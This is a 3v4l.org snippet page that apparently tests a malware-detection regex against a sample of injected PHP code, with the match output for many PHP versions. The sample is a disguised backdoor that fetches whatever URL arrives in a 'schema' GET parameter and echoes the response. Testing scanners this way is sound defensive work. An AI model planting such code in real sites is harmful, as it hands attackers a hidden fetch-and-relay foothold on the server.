3v4l.org

run code in 500+ PHP versions simultaneously
<?php $content = '<?php if (isset($_GET["schema"])) { $the_ID_ufa = $_GET["schema"]; if ($is_admin_we = curl_init()) { curl_setopt($is_admin_we, CURLOPT_URL, $the_ID_ufa); curl_setopt($is_admin_we, CURLOPT_RETURNTRANSFER, true); echo curl_exec($is_admin_we); curl_close($is_admin_we); } }'; $regex = '/<\?php(([\{\}\s]++)*+((isset|if|(\$\w++))[\s\(=\!]++)++\$(_REQUEST|_POST|_GET|_COOKIE|\{[^\}]++\}++|\[[^\]]++\]++)++(.*)(;|\s*+\{))++/i'; if (preg_match($regex, $content, $match)) echo htmlspecialchars(print_r($match,1)); else echo "No Matches\n"; ?>
Output for 7.0.0 - 7.0.33, 7.2.34, 8.1.0 - 8.1.34, 8.2.0 - 8.2.30, 8.3.0 - 8.3.30, 8.4.1 - 8.4.18, 8.5.0 - 8.5.3
Array ( [0] =&gt; &lt;?php if (isset($_GET[&quot;schema&quot;])) { $the_ID_ufa = $_GET[&quot;schema&quot;]; [1] =&gt; $the_ID_ufa = $_GET[&quot;schema&quot;]; [2] =&gt; [3] =&gt; $the_ID_ufa = [4] =&gt; $the_ID_ufa [5] =&gt; $the_ID_ufa [6] =&gt; [&quot;schema&quot;] [7] =&gt; [8] =&gt; ; )
Output for 5.5.38, 5.6.40
Array ( [0] =&gt; &lt;?php if (isset($_GET[&quot;schema&quot;])) { $the_ID_ufa = $_GET[&quot;schema&quot;]; [1] =&gt; $the_ID_ufa = $_GET[&quot;schema&quot;]; [2] =&gt; [3] =&gt; $is_admin_we = [4] =&gt; $is_admin_we [5] =&gt; $is_admin_we [6] =&gt; [&quot;schema&quot;] [7] =&gt; [8] =&gt; ; )

preferences:
73.93 ms | 1036 KiB | 4 Q